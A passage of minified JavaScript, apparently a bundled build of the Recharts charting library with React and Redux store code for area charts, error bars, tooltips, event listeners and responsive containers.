m.createElement(BF.Provider,{value:n},m.createElement("defs",null,m.createElement("clipPath",{id:n},m.createElement("rect",{x:i,y:s,height:l,width:o}))),t)},WF={},Lz=nn({name:"errorBars",initialState:WF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(s=>s.dataKey===r.dataKey&&s.direction===r.direction?i:s))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:SH,replaceErrorBar:CH,removeErrorBar:PH}=Lz.actions,UF=Lz.reducer;function Iz(e,t){var n,r,i=je(u=>qr(u,e)),s=je(u=>Xr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:Z4.allowDataOverflow,l=(r=s==null?void 0:s.allowDataOverflow)!==null&&r!==void 0?r:Q4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function VF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=gv(),{needClipX:s,needClipY:o,needClip:l}=Iz(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return m.createElement("clipPath",{id:"clipPath-".concat(r)},m.createElement("rect",{x:s?c:c-d/2,y:o?u:u-f/2,width:s?d:d*2,height:o?f:f*2}))}function HF(e){var t=Do(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:s}=t,o=Number(i),l=Number(s);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var KF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Nl=m;function GF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var YF=typeof Object.is=="function"?Object.is:GF,qF=Nl.useSyncExternalStore,XF=Nl.useRef,ZF=Nl.useEffect,QF=Nl.useMemo,JF=Nl.useDebugValue;KF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=XF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=QF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,YF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=qF(e,s[0],s[1]);return ZF(function(){o.hasValue=!0,o.value=l},[l]),JF(l),l};function eW(e){e()}function tW(){let e=null,t=null;return{clear(){e=null,t=null},notify(){eW(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var S2={notify(){},get:()=>[]};function nW(e,t){let n,r=S2,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=tW())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=S2)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var rW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",iW=rW(),aW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",sW=aW(),oW=()=>iW||sW?m.useLayoutEffect:m.useEffect,lW=oW();function C2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function cW(e,t){if(C2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=nW(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);lW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||dW;return m.createElement(l.Provider,{value:s},t)}var mW=fW,pW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function hW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Dz(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(pW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!cW(e[r],t[r]))return!1}else if(!hW(e[r],t[r]))return!1;return!0}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:_z}function bv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:_z}var Rz=(e,t,n)=>w3(e,"xAxis",yv(e,t),n),$z=(e,t,n)=>b3(e,"xAxis",yv(e,t),n),Bz=(e,t,n)=>w3(e,"yAxis",bv(e,t),n),Fz=(e,t,n)=>b3(e,"yAxis",bv(e,t),n),xW=I([De,Rz,Bz,$z,Fz],(e,t,n,r,i)=>vr(e,"xAxis")?xu(t,r,!1):xu(n,i,!1)),vW=(e,t)=>t,Wz=I([e3,vW],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),Uz=e=>{var t=De(e),n=vr(t,"xAxis");return n?"yAxis":"xAxis"},gW=(e,t)=>{var n=Uz(e);return n==="yAxis"?bv(e,t):yv(e,t)},yW=(e,t,n)=>a3(e,Uz(e),gW(e,t),n),bW=I([Wz,yW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=L0(e);if(!(r==null||i==null)){var s=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=s==null?void 0:s.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),wW=I([De,Rz,Bz,$z,Fz,bW,uI,xW,Wz,yI],(e,t,n,r,i,s,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:p}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,p+1),x!=null)return BW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:s,displayedData:x,chartBaseValue:u,bandSize:l})}}),jW=["id"],NW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function na(){return na=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:s,hide:o}=e;return[{inactive:o,dataKey:t,type:s,color:Hu(r,i),value:Rd(n,t),payload:e}]},EW=m.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:s,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:bs,settings:{stroke:r,strokeWidth:i,fill:s,dataKey:t,nameKey:void 0,name:Rd(o,t),hide:l,type:u,color:Hu(r,s),unit:c,graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})});function _W(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:s,dataKey:o}=r,l=Mr(r);return m.createElement(kF,{points:n,dot:s,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function AW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(s=>{var o,l,c={x:(o=s.x)!==null&&o!==void 0?o:0,y:(l=s.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Va(Va({},c),{},{value:s.value,payload:s.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return m.createElement(B$,{value:t?i:void 0},n)}function E2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:s}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=s,{id:f}=s,p=Vz(s,jW),h=Mr(p),x=Ut(p);return m.createElement(m.Fragment,null,(t==null?void 0:t.length)>1&&m.createElement(tn,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},m.createElement(Qa,na({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),m.createElement(_W,{points:t,props:p,clipPathId:i}))}function OW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.y,c=(n=s[s.length-1])===null||n===void 0?void 0:n.y;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.x||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ge(d)?m.createElement("rect",{x:0,y:lf.y||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ge(d)?m.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=qd(x,"recharts-area-"),y=iM(),[v,b]=m.useState(!1),w=!v,j=m.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),N=m.useCallback(()=>{typeof p=="function"&&p(),b(!0)},[p]);if(y==null)return null;var k=i.current,z=s.current;return m.createElement(AW,{showLabels:w,points:o},r.children,m.createElement(Yd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:N,key:g},S=>{if(k){var O=k.length/o.length,A=S===1?o:o.map((P,D)=>{var G=Math.floor(D*O);if(k[G]){var R=k[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),T;return ge(l)?T=At(z,l,S):Mt(l)||mr(l)?T=At(z,0,S):T=l.map((P,D)=>{var G=Math.floor(D*O);if(Array.isArray(z)&&z[G]){var R=z[G];return Va(Va({},P),{},{x:At(R.x,P.x,S),y:At(R.y,P.y,S)})}return P}),S>0&&(i.current=A,s.current=T),m.createElement(E2,{points:A,baseLine:T,needClip:t,clipPathId:n,props:r})}return S>0&&(i.current=o,s.current=l),m.createElement(tn,null,c&&m.createElement("defs",null,m.createElement("clipPath",{id:"animationClipPath-".concat(n)},m.createElement(MW,{alpha:S,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),m.createElement(tn,{clipPath:"url(#animationClipPath-".concat(n,")")},m.createElement(E2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),m.createElement(hz,{label:r.label}))}function IW(e){var{needClip:t,clipPathId:n,props:r}=e,i=m.useRef(null),s=m.useRef();return m.createElement(LW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:s})}class DW extends m.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:s,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:p,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Qe("recharts-area",i),y=p,{r:v,strokeWidth:b}=HF(n),w=kz(n),j=v*2+b,N=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return m.createElement(Mi,{zIndex:x},m.createElement(tn,{className:g},l&&m.createElement("defs",null,m.createElement(VF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&m.createElement("clipPath",{id:"clipPath-dots-".concat(y)},m.createElement("rect",{x:o-j/2,y:s-j/2,width:d+j,height:f+j}))),m.createElement(IW,{needClip:l,clipPathId:y,props:this.props})),m.createElement(k2,{points:r,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}),this.props.isRange&&Array.isArray(h)&&m.createElement(k2,{points:h,mainColor:Hu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:N}))}}var Hz={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Zt.area};function RW(e){var t,n=gn(e,Hz),{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:p,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=Vz(n,NW),b=ws(),w=H3(),{needClip:j}=Iz(g,y),N=Jn(),{points:k,isRange:z,baseLine:S}=(t=je(G=>wW(G,e.id,N)))!==null&&t!==void 0?t:{},O=gv();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:A,width:T,x:P,y:D}=O;return!k||!k.length?null:m.createElement(DW,na({},v,{activeDot:r,animationBegin:i,animationDuration:s,animationEasing:o,baseLine:S,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:p==="auto"?!Gd.isSsr:p,isRange:z,legendType:h,needClip:j,points:k,stroke:x,width:T,left:P,top:D,xAxisId:g,yAxisId:y}))}var $W=(e,t,n,r,i)=>{var s=n??t;if(ge(s))return s;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return s==="dataMin"?u:s==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return s==="dataMin"?l[0]:s==="dataMax"?l[1]:l[0]};function BW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:s,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:p,bandSize:h}=e,x=i&&i.length,g=$W(s,o,n,l,c),y=s==="horizontal",v=!1,b=u.map((j,N)=>{var k,z,S,O;if(x)O=i[d+N];else{var A=Ve(j,r);Array.isArray(A)?(O=A,v=!0):O=[g,A]}var T=(k=(z=O)===null||z===void 0?void 0:z[1])!==null&&k!==void 0?k:null,P=T==null||x&&!t&&Ve(j,r)==null;if(y){var D;return{x:My({axis:l,ticks:f,bandSize:h,entry:j,index:N}),y:P?null:(D=c.scale.map(T))!==null&&D!==void 0?D:null,value:O,payload:j}}return{x:P?null:(S=l.scale.map(T))!==null&&S!==void 0?S:null,y:My({axis:c,ticks:p,bandSize:h,entry:j,index:N}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var N,k=Array.isArray(j.value)?j.value[0]:null;if(y){var z;return{x:j.x,y:k!=null&&j.y!=null&&(z=c.scale.map(k))!==null&&z!==void 0?z:null,payload:j.payload}}return{x:k!=null&&(N=l.scale.map(k))!==null&&N!==void 0?N:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function FW(e){var t=gn(e,Hz),n=Jn();return m.createElement(Cz,{id:t.id,type:"area"},r=>m.createElement(m.Fragment,null,m.createElement(_B,{legendPayload:PW(t)}),m.createElement(EW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),m.createElement(VB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:kT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),m.createElement(RW,na({},t,{id:r}))))}var Kz=m.memo(FW,Dz);Kz.displayName="Area";var WW=(e,t)=>t,wv=I([WW,De,Y4,St,R3,Zr,IR,kt],UR),jv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},Gz=On("mouseClick"),Yz=ll();Yz.startListening({actionCreator:Gz,effect:(e,t)=>{var n=e.payload,r=wv(t.getState(),jv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(LD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var zh=On("mouseMove"),qz=ll(),rc=null;qz.startListening({actionCreator:zh,effect:(e,t)=>{var n=e.payload;rc!==null&&cancelAnimationFrame(rc);var r=jv(n);rc=requestAnimationFrame(()=>{var i=t.getState(),s=rv(i,i.tooltip.settings.shared);if(s==="axis"){var o=wv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(P3())}rc=null})}});function UW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var _2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},Xz=nn({name:"rootProps",initialState:_2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:_2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),VW=Xz.reducer,{updateOptions:HW}=Xz.actions,KW=null,GW={updatePolarOptions:(e,t)=>t.payload},Zz=nn({name:"polarOptions",initialState:KW,reducers:GW}),{updatePolarOptions:YW}=Zz.actions,qW=Zz.reducer,Qz=On("keyDown"),Jz=On("focus"),Nv=ll();Nv.startListening({actionCreator:Qz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,s=e.payload;if(!(s!=="ArrowRight"&&s!=="ArrowLeft"&&s!=="Enter")){var o=iv(i,_s(n),yl(n),wl(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Zr(n);if(s==="Enter"){var u=$u(n,"axis","hover",String(i.index));t.dispatch(bh({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=zD(n),f=d==="left-to-right"?1:-1,p=s==="ArrowRight"?1:-1,h=l+p*f;if(!(c==null||h>=c.length||h<0)){var x=$u(n,"axis","hover",String(h));t.dispatch(bh({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});Nv.startListening({actionCreator:Jz,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var s="0",o=$u(n,"axis","hover",String(s));t.dispatch(bh({active:!0,activeIndex:s,activeCoordinate:o}))}}}});var kn=On("externalEvent"),eS=ll(),_m=new Map;eS.startListening({actionCreator:kn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,s=_m.get(i);s!==void 0&&cancelAnimationFrame(s);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:wR(l),activeDataKey:W3(l),activeIndex:ps(l),activeLabel:F3(l),activeTooltipIndex:ps(l),isTooltipActive:jR(l)};n(c,r)}finally{_m.delete(i)}});_m.set(i,o)}}});var XW=I([Ps],e=>e.tooltipItemPayloads),ZW=I([XW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(s=>s.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),tS=On("touchMove"),nS=ll();nS.startListening({actionCreator:tS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=rv(r,r.tooltip.settings.shared);if(i==="axis"){var s=n.touches[0];if(s==null)return;var o=wv(r,jv({clientX:s.clientX,clientY:s.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(E3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(vk),f=(l=u.getAttribute(gk))!==null&&l!==void 0?l:void 0,p=Es(r).find(g=>g.id===f);if(d==null||p==null||f==null)return;var{dataKey:h}=p,x=ZW(r,d,f);t.dispatch(C3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var QW=FN({brush:DF,cartesianAxis:EF,chartData:y9,errorBars:UF,graphicalItems:WB,layout:hT,legend:gM,options:p9,polarAxis:Q$,polarOptions:qW,referenceElements:$F,rootProps:VW,tooltip:ID,zIndex:r9}),JW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return BO({reducer:QW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([Yz.middleware,qz.middleware,Nv.middleware,eS.middleware,nS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(nk({type:"raf"}))},devTools:{serialize:{replacer:UW},name:"recharts-".concat(n)}})};function rS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Jn(),s=m.useRef(null);if(i)return n;s.current==null&&(s.current=JW(t,r));var o=Hx;return m.createElement(mW,{context:o,store:s.current},n)}function eU(e){var{layout:t,margin:n}=e,r=ot(),i=Jn();return m.useEffect(()=>{i||(r(fT(t)),r(dT(n)))},[r,i,t,n]),null}var iS=m.memo(eU,Dz);function aS(e){var t=ot();return m.useEffect(()=>{t(HW(e))},[t,e]),null}function A2(e){var{zIndex:t,isPanorama:n}=e,r=m.useRef(null),i=ot();return m.useLayoutEffect(()=>(r.current&&i(t9({zIndex:t,element:r.current,isPanorama:n})),()=>{i(n9({zIndex:t,isPanorama:n}))}),[i,t,n]),m.createElement("g",{tabIndex:-1,ref:r})}function O2(e){var{children:t,isPanorama:n}=e,r=je(HR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),s=r.filter(o=>o>0);return m.createElement(m.Fragment,null,i.map(o=>m.createElement(A2,{key:o,zIndex:o,isPanorama:n})),t,s.map(o=>m.createElement(A2,{key:o,zIndex:o,isPanorama:n})))}var tU=["children"];function nU(e,t){if(e==null)return{};var n,r,i=rU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var n=nM(),r=rM(),i=Ik();if(!Si(n)||!Si(r))return null;var{children:s,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),m.createElement(Fj,Ku({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:iU,ref:t}),s)}),sU=e=>{var{children:t}=e,n=je(Wd);if(!n)return null;var{width:r,height:i,y:s,x:o}=n;return m.createElement(Fj,{width:r,height:i,x:o,y:s},t)},T2=m.forwardRef((e,t)=>{var{children:n}=e,r=nU(e,tU),i=Jn();return i?m.createElement(sU,null,m.createElement(O2,{isPanorama:!0},n)):m.createElement(aU,Ku({ref:t},r),m.createElement(O2,{isPanorama:!1},n))});function oU(){var e=ot(),[t,n]=m.useState(null),r=je(_T);return m.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),s=i.width/t.offsetWidth;Ee(s)&&s!==r&&e(pT(s))}},[t,e,r]),n}function M2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function lU(e){for(var t=1;t(P9(),null);function Gu(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var mU=m.forwardRef((e,t)=>{var n,r,i=m.useRef(null),[s,o]=m.useState({containerWidth:Gu((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Gu((r=e.style)===null||r===void 0?void 0:r.height)}),l=m.useCallback((u,d)=>{o(f=>{var p=Math.round(u),h=Math.round(d);return f.containerWidth===p&&f.containerHeight===h?f:{containerWidth:p,containerHeight:h}})},[]),c=m.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var p=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(p);h.observe(u),i.current=h}},[t,l]);return m.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),m.createElement(m.Fragment,null,m.createElement(ul,{width:s.containerWidth,height:s.containerHeight}),m.createElement("div",ji({ref:c},e)))}),pU=m.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,s]=m.useState({containerWidth:Gu(n),containerHeight:Gu(r)}),o=m.useCallback((c,u)=>{s(d=>{var f=Math.round(c),p=Math.round(u);return d.containerWidth===f&&d.containerHeight===p?d:{containerWidth:f,containerHeight:p}})},[]),l=m.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return m.createElement(m.Fragment,null,m.createElement(ul,{width:i.containerWidth,height:i.containerHeight}),m.createElement("div",ji({ref:l},e)))}),hU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))}),xU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?m.createElement(pU,ji({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?m.createElement(hU,ji({},e,{width:n,height:r,ref:t})):m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))});function vU(e){return e?mU:xU}var gU=m.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:s,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:p,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=m.useRef(null),N=ot(),[k,z]=m.useState(null),[S,O]=m.useState(null),A=oU(),T=e0(),P=(T==null?void 0:T.width)>0?T.width:v,D=(T==null?void 0:T.height)>0?T.height:i,G=m.useCallback(C=>{A(C),typeof t=="function"&&t(C),z(C),O(C),C!=null&&(j.current=C)},[A,t,z,O]),R=m.useCallback(C=>{N(Gz(C)),N(kn({handler:s,reactEvent:C}))},[N,s]),K=m.useCallback(C=>{N(zh(C)),N(kn({handler:u,reactEvent:C}))},[N,u]),_=m.useCallback(C=>{N(P3()),N(kn({handler:d,reactEvent:C}))},[N,d]),M=m.useCallback(C=>{N(zh(C)),N(kn({handler:f,reactEvent:C}))},[N,f]),F=m.useCallback(()=>{N(Jz())},[N]),U=m.useCallback(C=>{N(Qz(C.key))},[N]),V=m.useCallback(C=>{N(kn({handler:o,reactEvent:C}))},[N,o]),Z=m.useCallback(C=>{N(kn({handler:l,reactEvent:C}))},[N,l]),ae=m.useCallback(C=>{N(kn({handler:c,reactEvent:C}))},[N,c]),ue=m.useCallback(C=>{N(kn({handler:p,reactEvent:C}))},[N,p]),be=m.useCallback(C=>{N(kn({handler:g,reactEvent:C}))},[N,g]),ye=m.useCallback(C=>{w&&N(tS(C)),N(kn({handler:x,reactEvent:C}))},[N,w,x]),q=m.useCallback(C=>{N(kn({handler:h,reactEvent:C}))},[N,h]),te=vU(b);return m.createElement(X3.Provider,{value:k},m.createElement(T_.Provider,{value:S},m.createElement(te,{width:P??(y==null?void 0:y.width),height:D??(y==null?void 